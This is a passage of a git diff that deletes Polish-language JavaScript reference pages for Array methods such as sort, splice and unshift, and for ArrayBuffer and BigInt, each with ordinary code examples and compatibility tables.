Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("1.8")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
diff --git a/files/pl/web/javascript/referencje/obiekty/array/sort/index.html b/files/pl/web/javascript/referencje/obiekty/array/sort/index.html deleted file mode 100644 index 2b53d4e6d5..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/array/sort/index.html +++ /dev/null @@ -1,122 +0,0 @@ ---- -title: Array.prototype.sort() -slug: Web/JavaScript/Referencje/Obiekty/Array/sort -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Strony_wymagające_dopracowania - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Global_Objects/Array/sort ---- -
{{JSRef}}
- -

Podsumowanie

- -

Sortuje elementy tablicy.

- -

Składnia

- -
arr.sort([compareFunction])
- -

Parametry

- -
-
compareFunction 
-
jest nazwą funkcji porównującej elementy. Jeżeli parametr zostanie pominięty, tablica będzie posortowana w porządku leksykograficznym (alfabetycznie).
-
- -

Opis

- -

Jeżeli compareFunction nie zostanie podana, elementy zostaną posortowane leksykograficznie (alfabetycznie - słownikowo) według porównania ich reprezentacji znakowej (łańcucha znaków). Przykładowo "80" znajdzie się przed "9" w porządku leksykograficznym, pomimo że numerycznie 9 poprzedza 80.

- -

Jeżeli compareFunction zostanie podana, elementy tablicy zostaną posortowane odpowiednio do wartości zwracanej przez funkcję porównującą. Jeżeli a oraz b są dwoma porównywanymi elementami tablicy to:

- - - - - - - -

Ogólna postać funkcji porównującej wygląda następująco:

- -
function compare(a, b) {
-   if (a mniejsze niż b według kryteriów sortowania)
-      return -1
-   if (a większe od b według kryteriów sortowania)
-      return 1
-   // a równe b
-   return 0
-}
-
- -

W celu porównania liczb, zamiast napisów, funkcja porównująca może odejmować b od a:

- -
function compareNumbers(a, b) {
-   return a - b
-}
-
- -

Niektóre implementacje JavaScript wykonują sortowanie stabilne: kolejność elementów a i b nie jest zmieniana jeśli a i b są sobie równe. Jeżeli przed sortowaniem a jest w tablicy wcześniej niż b oraz a i b są sobie równe, to po sortowaniu ich kolejność będzie taka sama (niezależnie od tego, jak zmienią się pozycje elementów a i b).

- -

Przykłady

- -

Przykład: Tworzenie, wyświetlanie i sortowanie tablic

- -

Następujący przykład tworzy cztery tablice i wyświetla oryginalną tablicę, potem posortowane tablice. Tablice liczbowe są sortowane najpierw bez podania funkcji porównującej, następnie z taką funkcją.

- -
stringArray = new Array("Blue","Humpback","Beluga")
-numericStringArray = new Array("80","9","700")
-numberArray = new Array(40,1,5,200)
-mixedNumericArray = new Array("80","9","700",40,1,5,200)
-
-function compareNumbers(a, b) {
-   return a - b
-}
-
-console.log("tablicaNapisów: " + stringArray.join())
-console.log("Posortowana: " + stringArray.sort())
-
-console.log("tablicaLiczbowa: " + numberArray.join())
-console.log("Posortowana bez funkcji porównującej: " + numberArray.sort())
-console.log("Posortowana z funkcją porównującą: " + numberArray.sort(compareNumbers))
-
-console.log("tablicaNapisówLiczbowych: " + numericStringArray.join())
-console.log("Posortowana bez funkcji porównującej: " + numericStringArray.sort())
-console.log("Posortowana z funkcją porównującą: " + numericStringArray.sort(compareNumbers))
-
-console.log("tablicaLiczbowaMieszna: " + mixedNumericArray.join())
-console.log("Posortowana bez funkcji porównującej: " + mixedNumericArray.sort())
-console.log("Posortowana z funkcją porównującą: " + mixedNumericArray.sort(compareNumbers))
-
- -

Ten przykład wyświetla następujące dane. Jak widać, przy zastosowaniu funkcji porównującej, liczby są sortowane prawidłowo niezależnie od tego czy są przedstawiane jako wartości liczbowe bądź też napisy.

- -
tablicaNapisów: Blue,Humpback,Beluga
-Posortowana: Beluga,Blue,Humpback
-
-tablicaLiczbowa: 40,1,5,200
-Posortowana bez funkcji porównującej: 1,200,40,5
-Posortowana z funkcją porównującą: 1,5,40,200
-
-tablicaNapisówLiczbowych: 80,9,700
-Posortowana bez funkcji porównującej: 700,80,9
-Posortowana z funkcją porównującą: 9,80,700
-
-tablicaLiczbowaMieszna: 80,9,700,40,1,5,200
-Posortowana bez funkcji porównującej: 1,200,40,5,700,80,9
-Posortowana z funkcją porównującą: 1,5,9,40,80,200,700
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/array/splice/index.html b/files/pl/web/javascript/referencje/obiekty/array/splice/index.html deleted file mode 100644 index cc4d13def3..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/array/splice/index.html +++ /dev/null @@ -1,86 +0,0 @@ ---- -title: Array.prototype.splice() -slug: Web/JavaScript/Referencje/Obiekty/Array/splice -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Global_Objects/Array/splice ---- -
{{JSRef}}
- -

Podsumowanie

- -

Zmienia zawartość tablicy, dodając nowe elementy podczas usuwania starych elementów.

- -

Składnia

- -
array.splice(start, deleteCount[, item1[, item2[, ...]]])
-
- -

Parametry

- -
-
start
-
Indeks od którego rozpoczynamy modyfikację tablicy.
-
- -
-
deleteCount
-
Liczba całkowita określająca liczbę starych elementów tablicy do usunięcia. Jeżeli deleteCount wynosi 0, nic nie zostanie usunięte. W tym przypadku należy podać co najmniej jeden nowy element. W przypadku gdy parametr deleteCount nie został podany (druga forma składni podana powyżej, która jest rozszerzeniem SpiderMonkey), wszystkie elementy o indeksach wyższych lub równych index są usuwane.
-
- -
-
itemN
-
Elementy dodawane do tablicy. Jeżeli nie określimy żadnych elementów, splice usunie tylko podaną liczbę elementów.
-
- -

Opis

- -

Jeżeli podamy różną liczbę wstawianych elementów od liczby usuwanych elementów, tablica będzie posiadała inną długość po wywołaniu metody splice.

- -

Metoda splice zwraca tablicę zawierającą usunięte elementy. Jeżeli usunięty został tylko jeden element, zwracana jest tablica jednoelementowa.

- -

Przykłady

- -

Przykład: Zastosowanie splice

- -

Następujący skrypt ilustruje użycie splice:

- -
myFish = ["anioł", "klaun", "mandarynka", "jesiotr"];
-console.log("myFish: " + myFish);
-
-removed = myFish.splice(2, 0, "bęben");
-console.log("Po dodaniu 1: " + myFish);
-console.log("Usunięty jest: " + removed);
-
-removed = myFish.splice(3, 1)
-console.log("Po usunięciu 1: " + myFish);
-console.log("Usunięty jest: " + removed);
-
-removed = myFish.splice(2, 1, "trąba")
-console.log("Po zastąpieniu 1: " + myFish);
-console.log("Usunięty jest: " + removed);
-
-removed = myFish.splice(0, 2, "papuga", "zawilec", "niebieski")
-console.log("Po zastąpieniu 2: " + myFish);
-console.log("Usunięty jest: " + removed);
-
- -

Ten skrypt wyświetli:

- -
myFish: ["anioł", "klaun", "mandarynka", "jesiotr"]
-
-Po dodaniu 1: ["anioł", "klaun", "bęben", "mandarynka", "jesiotr"]
-Usunięty jest: undefined
-
-Po usunięciu 1: ["anioł", "klaun", "bęben, "jesiotr"]
-Usunięty jest: mandarynka
-
-Po zastąpieniu 1: ["anioł", "klaun", "trąba", "jesiotr"]
-Usunięty jest: bęben
-
-Po zastąpieniu 2: ["papuga", "zawilec", "niebieski", "trąba", "jesiotr"]
-Usunięty jest: ["anioł", "klaun"]
-
diff --git a/files/pl/web/javascript/referencje/obiekty/array/tolocalestring/index.html b/files/pl/web/javascript/referencje/obiekty/array/tolocalestring/index.html deleted file mode 100644 index 1dc476c413..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/array/tolocalestring/index.html +++ /dev/null @@ -1,128 +0,0 @@ ---- -title: Array.prototype.toLocaleString() -slug: Web/JavaScript/Referencje/Obiekty/Array/toLocaleString -translation_of: Web/JavaScript/Reference/Global_Objects/Array/toLocaleString ---- -
{{JSRef}}
- -
Metoda toLocaleString() zwraca łańcuch znaków reprezentujący wszystkie elementy w tablicy. Każdy element jest konwerterowany do  łańcucha znaku za pomocą lokalnych wywołań toLocaleString. Elementy łaczone są separatorem zdefiniowanym dla lokalnego języka (np. przecinek).
- -
- -

Składnia

- -
arr.toLocaleString();
- -

Opis

- -

Poniższe elementy tablic są konwertowane na łańcuchy znaków za pomocą wbudowanych metod toLocaleString

- - - -

Przykład

- -

Użycie toLocaleString

- -
let numer = 1337;
-let data = new Date();
-let tablica = [numer , data, 'foo'];
-
-let str = tablica.toLocaleString();
-
-console.log(str);
-// logs '1337,19.11.2020, 17:21:06,foo'
-// if run in a Polish (pl-PL) locale with timezone Europe/Warsaw
-
-
-let strEn = tablica.toLocaleString("en-US");  // "1,337,11/19/2020, 5:21:06 PM,foo"
- - - -

Specyfikacja

- - - - - - - - - - - - - - - - - - - - - - - - -
SpecyfikacjaStatusKomentarze
{{SpecName('ES3')}}{{Spec2('ES3')}}Inicjalna definicja
{{SpecName('ES5.1', '#sec-15.2.4.3', 'Array.prototype.toLocaleString')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-array.prototype.tolocalestring', 'Array.prototype.toLocaleString')}}{{Spec2('ES6')}}
- -

Zgodność z przeglądarkami

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/array/tosource/index.html b/files/pl/web/javascript/referencje/obiekty/array/tosource/index.html deleted file mode 100644 index 675e8431a2..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/array/tosource/index.html +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: Array.prototype.toSource() -slug: Web/JavaScript/Referencje/Obiekty/Array/toSource -tags: - - Array - - JavaScript - - Method - - Non-standard - - Prototype - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Global_Objects/Array/toSource ---- -
{{JSRef}} {{non-standard_header}}
- -

Podsumowanie

- -

Zwraca łańcuch znaków reprezentujący kod źródłowy tablicy.

- -

Składnia

- -
arr.toSource()
- -

Parametry

- -

Brak.

- -

Opis

- -

Metoda toSource zwraca następujące wartości:

- -

This shouldn't be here, but until reorganization where pages are moved to their proper places, the title of this article is ambiguous, so it can stay. After reorganization, this should be removed.

- - - -

Metoda ta jest zazwyczaj wywoływana wewnętrznie przez JavaScript, a nie bezpośrednio w kodzie. Możliwe jest wywołanie toSource podczas debugowania, aby zbadać zawartość tablicy.

- -

Przykłady

- -

Przykład: Sprawdzanie kodu źródłowego tablicy

- -

Do sprawdzania kodu źródłowego tablicy:

- -
var alpha = new Array("a", "b", "c");
-
-alpha.toSource() //zwraca ["a", "b", "c"]
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/array/tostring/index.html b/files/pl/web/javascript/referencje/obiekty/array/tostring/index.html deleted file mode 100644 index e4801cbdc4..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/array/tostring/index.html +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: Array.prototype.toString() -slug: Web/JavaScript/Referencje/Obiekty/Array/toString -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Global_Objects/Array/toString ---- -
{{JSRef}}
- -

Metoda toString() zwraca łańcuch znaków reprezentujący daną tablicę wraz z jej elementami.

- -
var months = ['Styczeń', 'Luty', 'Marzec', 'Kwiecień'];
-months.toString(); // "Styczeń,Luty,Marzec,Kwiecień"
-
- -

Składnia

- -
arr.toString()
- -

Parametry

- -

Brak.

- -

Opis

- -

Obiekt {{jsxref("Array")}} przesłania metodę toString obiektu {{jsxref("Object")}}. Dla obiektów Array, metoda toString łączy tablicę i zwraca jeden łańcuch znaków zawierający wszystkie elementy tablicy oddzielone przecinkami. Przykładowo poniższy kod tworzy tablicę i stosuje metodę toString, aby przekształcić tablicę do łańcucha znaków.

- -
var monthNames = new Array("Jan","Feb","Mar","Apr")
-var myVar = monthNames.toString() // przypisuje "Jan,Feb,Mar,Apr" do zmiennej myVar
-
- -

JavaScript wywołuje metodę toString automatycznie, gdy tablica jest traktowana jako wartość tekstowa lub kiedy istnieje odniesienie do tej tablicy wewnątrz połączonego łańcucha znaków.

- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/array/unshift/index.html b/files/pl/web/javascript/referencje/obiekty/array/unshift/index.html deleted file mode 100644 index 56346f6552..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/array/unshift/index.html +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: Array.prototype.unshift() -slug: Web/JavaScript/Referencje/Obiekty/Array/unshift -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Global_Objects/Array/unshift ---- -
{{JSRef}}
- -

Podsumowanie

- -

Dodaje jeden lub więcej elementów na początek tablicy i zwraca jej nową długość.

- -

Składnia

- -
arr.unshift([element1[, ...[, elementN]]])
- -

Parametry

- -
-
element - N -  
-
Elementy do dodania na początek tablicy.
-
- -

Przykłady

- -

Przykład: Dodawanie elementów do tablicy

- -

Następujący kod wyświetli tablicę myFish przed i po dodaniu do niej elementów.

- -
myFish = ["anioł", "klaun"];
-console.log("myFish przed: " + myFish);
-unshifted = myFish.unshift("bęben", "lew");
-console.log("myFish po: " + myFish);
-console.log("Nowa długość tablicy: " + unshifted);
-
- -

Powyższy przykład wyświetli:

- -
myFish przed: ["anioł", "klaun"]
-myFish po: ["bęben", "lew", "anioł", "klaun"]
-Nowa długość tablicy: 4
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/array/values/index.html b/files/pl/web/javascript/referencje/obiekty/array/values/index.html deleted file mode 100644 index b079877dd9..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/array/values/index.html +++ /dev/null @@ -1,84 +0,0 @@ ---- -title: Array.prototype.values() -slug: Web/JavaScript/Referencje/Obiekty/Array/values -tags: - - ECMAScript 2015 - - Iterator - - JavaScript - - Metodă - - Prototype - - Tablica -translation_of: Web/JavaScript/Reference/Global_Objects/Array/values ---- -
{{JSRef}}
- -

Metoda values() zwraca nowy obiekt Array Iterator , który zawiera wartości dla każdego indeksu w tablicy.

- -
var a = ['w', 'y', 'k', 'o', 'p'];
-var iterator = a.values();
-
-console.log(iterator.next().value); // w
-console.log(iterator.next().value); // y
-console.log(iterator.next().value); // k
-console.log(iterator.next().value); // o
-console.log(iterator.next().value); // p
- -

Składnia

- -
arr.values()
- -

Zwracana wartość

- -

Nowy obiekt {{jsxref("Array")}} iterator.

- -

Przykłady

- -

Iteracja używająca pętli for...of

- -
var arr = ['w', 'y', 'k', 'o', 'p'];
-var iterator = arr.values();
-
-for (let letter of iterator) {
-  console.log(letter);
-}
-
- -

Specyfikacja

- - - - - - - - - - - - - - - - - - - -
SpecyfikacjaStatusKomentarz
{{SpecName('ES2015', '#sec-array.prototype.values', 'Array.prototype.values')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-array.prototype.values', 'Array.prototype.values')}}{{Spec2('ESDraft')}} 
- -

Kompatybilność przeglądarek

- -
- - -

{{Compat("javascript.builtins.Array.values")}}

-
- -

Zobacz też

- - diff --git a/files/pl/web/javascript/referencje/obiekty/arraybuffer/index.html b/files/pl/web/javascript/referencje/obiekty/arraybuffer/index.html deleted file mode 100644 index f01e0fa67c..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/arraybuffer/index.html +++ /dev/null @@ -1,222 +0,0 @@ ---- -title: ArrayBuffer -slug: Web/JavaScript/Referencje/Obiekty/ArrayBuffer -tags: - - ArrayBuffer - - JavaScript - - Konstruktor - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer ---- -
{{JSRef}}
- -

Objekt ArrayBuffer reprezentuje buffer z surowymi danymi binarnymi o niezmiennej długości. Nie możesz bezpośrednio wpływać na zawartość obiektu ArrayBuffer, możesz natomiast stworzyć jeden z obiektów typedArray lub obiekt {{jsxref("DataView")}} reprezentujący buffer w specjalnym formacie i używać tego obiektu do odczytu oraz zapisu treści buffera.

- -

Składnia

- -
new ArrayBuffer(length)
-
- -

Parametry

- -
-
długość(length)
-
Rozmiar, w bajtach, tworzony z bufferu tablicy (array buffer).
-
- -

Wartość zwrócona

- -

Nowy obiekt ArrayBuffer o określonym rozmiarze. Jego wartości początkowe wynoszą 0.

- -

Wyjątki

- -

{{jsxref("RangeError")}} pojawi się, jeśli długość (length) jest większa niż {{jsxref("Number.MAX_SAFE_INTEGER")}} (>= 2 ** 53) lub ujemna.

- -

Opis

- -

Konstruktor ArrayBuffer tworzy nowy ArrayBuffer z podanej długości (length) w bajtach.

- -

Otrzymywanie bufferu tablicy z istniejących danych

- - - -

Właściwości

- -
-
ArrayBuffer.length
-
Właściwość długości konstruktura ArrayBuffer, której wartość wynosi 1.
-
{{jsxref("ArrayBuffer.@@species", "get ArrayBuffer[@@species]")}}
-
Funkcja konstruktora jest używana do tworzenia dostarczanych obiektów.
-
{{jsxref("ArrayBuffer.prototype")}}
-
Pozwala dodać właściwości do wszystkich obiektów ArrayBuffer.
-
- -

Metody

- -
-
{{jsxref("ArrayBuffer.isView", "ArrayBuffer.isView(arg)")}}
-
Zwraca true, jeśli arg jest jednym z widoków ArrayBuffer, jak obiekty typedArray lub {{jsxref("DataView")}}. W innych przypadkach zwraca false.
-
{{jsxref("ArrayBuffer.transfer", "ArrayBuffer.transfer(oldBuffer [, newByteLength])")}} {{experimental_inline}}
-
-
Zwraca nowy ArrayBuffer, którego zawartości są pobrane z danych oldBuffer. Następnie zostaje skrócony lub przedłużony od 0 przez newByteLength.
-
-
- -

Instancje ArrayBuffer

- -

Wszystkie instancje ArrayBuffer dziedziczą z {{jsxref("ArrayBuffer.prototype")}}.

- -

Właściwości

- -

{{page('en-US/Web/JavaScript/Reference/Global_Objects/ArrayBuffer/prototype','Properties')}}

- -

Metody

- -

{{page('en-US/Web/JavaScript/Reference/Global_Objects/ArrayBuffer/prototype','Methods')}}

- -
-
{{jsxref("ArrayBuffer.slice()")}} {{non-standard_inline}}
-
Posiada tę samą funkcjonalność, jak {{jsxref("ArrayBuffer.prototype.slice()")}}.
-
- -

Przykłady

- -

W niniejszym przykładzie tworzymy 8-bajtowy buffer z widokiem {{jsxref("Global_Objects/Int32Array", "Int32Array")}} odnoszącym się do buffera:

- -
var buffer = new ArrayBuffer(8);
-var view   = new Int32Array(buffer);
- -

Specyfikacje

- - - - - - - - - - - - - - - - - - - - - - - - -
SpecyfikacjaStatusKomentarz
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Zastępiony przez ECMAScript 6.
{{SpecName('ES6', '#sec-arraybuffer-constructor', 'ArrayBuffer')}}{{Spec2('ES6')}}Definicja początkowa w standardzie ECMA. Zgłasza, że wymagany jest new.
{{SpecName('ESDraft', '#sec-arraybuffer-constructor', 'ArrayBuffer')}}{{Spec2('ESDraft')}} 
- -

Kompatybilność z przeglądarkami

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
CechaChromeFirefox (Gecko)Internet ExplorerOperaSafari
Wsparcie podstawowe7.0{{CompatGeckoDesktop("2")}}1011.65.1
ArrayBuffer() bez odsyłacza new{{CompatUnknown}}{{CompatGeckoDesktop("44")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
ArrayBuffer.slice() {{non-standard_inline}}{{CompatNo}}{{CompatVersionUnknown}}
- {{CompatNo}} {{CompatGeckoDesktop("53")}}
{{CompatNo}}{{CompatNo}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
CechaAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Wsparcie podstawowe4.0{{CompatVersionUnknown}}{{CompatGeckoMobile("2")}}1011.64.2
ArrayBuffer() bez odsyłacza new{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("44")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
ArrayBuffer.slice() {{non-standard_inline}}{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}
- {{CompatNo}} {{CompatGeckoMobile("53")}}
{{CompatNo}}{{CompatNo}}{{CompatUnknown}}
-
- -

Zapis kompatybilny

- -

Od ECMAScript 2015 kontruktory ArrayBuffer muszą być tworzone poprzez operator {{jsxref("Operators/new", "new")}}. Wywoływanie kontruktora ArrayBuffer jako funkcji bez new zaskutkuje od teraz pojawieniem się {{jsxref("TypeError")}}.

- -
var dv = ArrayBuffer(10);
-// TypeError: calling a builtin ArrayBuffer constructor
-// without new is forbidden
- -
var dv = new ArrayBuffer(10);
- -

Zobacz również

- - diff --git a/files/pl/web/javascript/referencje/obiekty/bigint/asintn/index.html b/files/pl/web/javascript/referencje/obiekty/bigint/asintn/index.html deleted file mode 100644 index f3d7de5b66..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/bigint/asintn/index.html +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: BigInt.asIntN() -slug: Web/JavaScript/Referencje/Obiekty/BigInt/asIntN -tags: - - BigInt - - JavaScript - - Metodă - - Referencja - - asIntN -translation_of: Web/JavaScript/Reference/Global_Objects/BigInt/asIntN ---- -
{{JSRef}}
- -

Metoda statyczna BigInt.asIntN jest używana do opakowywania wartości BigInt w wartości całkowite ze znakiem w zakresie od -2szerokość-1 do 2szerokość-1-1.

- -
{{EmbedInteractiveExample("pages/js/bigint-asintn.html", "taller")}}
- - - -

Składnia

- -
BigInt.asIntN(szerokość, bigint);
- -

Parametry

- -
-
szerokość
-
Liczba bitów dostępnych dla rozmiaru wartości całkowitej (integer).
-
bigint
-
Wartość całkowita, którą chcemy wpasować w daną liczbę bitów.
-
- -

Wynik

- -

Wartość bigint modulo 2szerokość jako liczba całkowita ze znakiem.

- -

Przykłady

- -

Pozostawanie w zakresie arytmetyki 64-bitowej

- -

Metoda BigInt.asIntN() może być użyteczna do tego, by pozostać w zakresie obliczeń arytmetyki 64-bitowej.

- -
const max = 2n ** (64n - 1n) - 1n;
-
-BigInt.asIntN(64, max);
-// ↪ 9223372036854775807n
-
-BigInt.asIntN(64, max + 1n);
-// ↪ -9223372036854775807n
-// wartość ujemna ze względu na przepełnienie
-
- -

Specyfikacje

- - - - - - - - - - - - -
Specyfikacja
{{SpecName('ESDraft', '#sec-bigint.asintn', 'BigInt.asIntN()')}}
- -

Wsparcie przeglądarek

- - - -

{{Compat("javascript.builtins.BigInt.asIntN")}}

- -

Zobacz też

- - diff --git a/files/pl/web/javascript/referencje/obiekty/bigint/asuintn/index.html b/files/pl/web/javascript/referencje/obiekty/bigint/asuintn/index.html deleted file mode 100644 index 0f290f50c4..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/bigint/asuintn/index.html +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: BigInt.asUintN() -slug: Web/JavaScript/Referencje/Obiekty/BigInt/asUintN -tags: - - BigInt - - JavaScript - - Metodă - - Referencja - - asUintN -translation_of: Web/JavaScript/Reference/Global_Objects/BigInt/asUintN ---- -
{{JSRef}}
- -

Metoda statyczna BigInt.asUintN jest używana do opakowywania wartości BigInt w wartości całkowite bez znaku w zakresie od 0 do 2szerokość-1.

- -
{{EmbedInteractiveExample("pages/js/bigint-asuintn.html", "taller")}}
- - - -

Składnia

- -
BigInt.asUintN(szerokość, bigint);
- -

Parametry

- -
-
szerokość
-
Liczba bitów dostępnych dla rozmiaru wartości całkowitej (integer).
-
bigint
-
Wartość całkowita, którą chcemy wpasować w daną liczbę bitów.
-
- -

Wynik

- -

Wartość bigint modulo 2szerokość jako wartość całkowita bez znaku.

- -

Przykłady

- -

Pozostawanie w zakresie arytmetyki 64-bitowej

- -

Metoda BigInt.asUintN() może być użyteczna do tego, by pozostać w zakresie obliczeń arytmetyki 64-bitowej.

- -
const max = 2n ** 64n - 1n;
-
-BigInt.asUintN(64, max);
-// ↪ 18446744073709551615n
-
-BigInt.asUintN(64, max + 1n);
-// ↪ 0n
-// zero z powodu przepełnienia
- -

Specyfikacje

- - - - - - - - - - - - -
Specyfikacja
{{SpecName('ESDraft', '#sec-bigint.asuintn', 'BigInt.asUintN()')}}
- -

Wsparcie przeglądarek

- - - -

{{Compat("javascript.builtins.BigInt.asUintN")}}

- -

Zobacz też

- - diff --git a/files/pl/web/javascript/referencje/obiekty/bigint/index.html b/files/pl/web/javascript/referencje/obiekty/bigint/index.html deleted file mode 100644 index 650604b0c3..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/bigint/index.html +++ /dev/null @@ -1,293 +0,0 @@ ---- -title: BigInt -slug: Web/JavaScript/Referencje/Obiekty/BigInt -tags: - - BigInt - - JavaScript - - Referencja -translation_of: Web/JavaScript/Reference/Global_Objects/BigInt ---- -
{{JSRef}}
- -

BigInt jest wbudowanym obiektem umożliwiającym reprezentowanie całych liczb większch niż 253 - 1, ile wynosi największa liczba, którą JavaScript może faktycznie reprezentować przez prymityw {{JSxRef("Number")}}, co jest też reprezentowane przez stałą {{JSxRef("Number.MAX_SAFE_INTEGER")}}. BigInt może być używany do dowolnie dużych liczb całkowitych.

- -
-
- -

Opis

- -

BigInt jest tworzony przez dodanie n na końcu literału liczby — 10n — lub przez wywołanie funkcji BigInt().

- -
const najwiekszyInt = 9007199254740991n
-
-const tezDuzaLiczba = BigInt(9007199254740991)
-// ↪ 9007199254740991n
-
-const duzyString = BigInt("9007199254740991")
-// ↪ 9007199254740991n
-
-const duzyHex = BigInt("0x1fffffffffffff")
-// ↪ 9007199254740991n
-
-const duzyBin = BigInt("0b11111111111111111111111111111111111111111111111111111")
-// ↪ 9007199254740991n
-
- -

BigInt jest w pewnym sensie podobny do {{JSxRef("Number")}} ale też różni się od niego w kilku kluczowych sprawach — nie może być używany z metodami wbudowanego obiektu {{JSxRef("Math")}}, a także nie może być mieszany z instancjami Number w żadnych operacjach; konieczne jest wymuszenie tego samego typu operandów. Należy uważać z wymuszaniem typów w jedną i drugą stronę, w szczególności precyzja BigInt może być utracona przy wymuszonej konwersji do typu Number.

- -

Informacje o typie

- -

Przy sprawdzeniu za pomocą typeof, BigInt zwróci "bigint":

- -
typeof 1n === 'bigint'           // true
-typeof BigInt('1') === 'bigint'  // true
-
- -

Obudowany w Object, BigInt będzie rozważany jako zwykły "obiekt":

- -
typeof Object(1n) === 'object'  // true
-
- -

Operatory

- -

Z BigIntami (lub BigIntami obudowanymi w obiekty) mogą być używane następujące operatory: : +, *, -, **, %.

- -

Operatory bitowe także są wspierane, z wyjątkiem >>> (przesunięcie w prawo z dopełnieniem zerami), gdyż wszystkie BigInty mają znak.

- -

Niewspierany jest także operator jednoargumentowy (+), aby nie złamać zasad asm.js.

- -
const previousMaxSafe = BigInt(Number.MAX_SAFE_INTEGER)
-// ↪ 9007199254740991n
-
-const maxPlusOne = previousMaxSafe + 1n
-// ↪ 9007199254740992n
-
-const theFuture = previousMaxSafe + 2n
-// ↪ 9007199254740993n, this works now!
-
-const multi = previousMaxSafe * 2n
-// ↪ 18014398509481982n
-
-const subtr = multi – 10n
-// ↪ 18014398509481972n
-
-const mod = multi % 10n
-// ↪ 2n
-
-const bigN = 2n ** 54n
-// ↪ 18014398509481984n
-
-bigN * -1n
-// ↪ –18014398509481984n
-
- -

Operator / także działa zgodnie z założeniami z całymi liczbami.

- -

Jako że są to BigInty, a nie BigDecimal, operacja dzielenia będzie zaokroąglała wynik do 0 (zatem można prościej powiedzieć, że nie zwraca ułamkowej części wyniku).

- -
-

Ułamkowy wynik operacji będzie przycięty, kiedy używany jest  BigInt.

-
- -
const expected = 4n / 2n
-// ↪ 2n
-
-const rounded = 5n / 2n
-// ↪ 2n, not 2.5n
-
-
- -

Porównania

- -

BigInt nie jest ściśle równy {{JSxRef("Number")}}, ale jest równy w luźnym sensie, zatem:

- -
0n === 0
-// ↪ false
-
-0n == 0
-// ↪ true
- -

{{JSxRef("Global_Objects/Number", "Number")}} i BigInt mogą być porównywane w zwyczajny sposób:

- -
1n < 2
-// ↪ true
-
-2n > 1
-// ↪ true
-
-2 > 2
-// ↪ false
-
-2n > 2
-// ↪ false
-
-2n >= 2
-// ↪ true
- -

Mogą być też mieszane w tablicach i sortowane:

- -
const mixed = [4n, 6, -12n, 10, 4, 0, 0n]
-// ↪  [4n, 6, -12n, 10, 4, 0, 0n]
-
-mixed.sort()
-// ↪ [-12n, 0, 0n, 4n, 4, 6, 10]
-
- -

Zauważ, że porównania z BigIntami opakowanymi w obiekty działają jak z innymi obiektami, wskazując równość tylko wtedy, kiedy ta sama instancja obiektu znajduje się po obu stronach porównania:

- -
0n === Object(0n)          // false
-Object(0n) === Object(0n)  // false
-
-const o = Object(0n)
-o === o                    // true
-
- -

Instrukcje warunkowe

- -

BigInt zachowuje się jak {{JSxRef("Global_Objects/Number", "Number")}} w przypadkach, gdy:

- - - -
if (0n) {
-  console.log('Hello from the if!')
-} else {
-  console.log('Hello from the else!')
-}
-
-// ↪ "Hello from the else!"
-
-0n || 12n
-// ↪ 12n
-
-0n && 12n
-// ↪ 0n
-
-Boolean(0n)
-// ↪ false
-
-Boolean(12n)
-// ↪ true
-
-!12n
-// ↪ false
-
-!0n
-// ↪ true
-
- -

Konstruktor

- -
-
BigInt()
-
Tworzy obiekty {{jsxref("BigInt")}}.
-
- -

Metody statyczne

- -
-
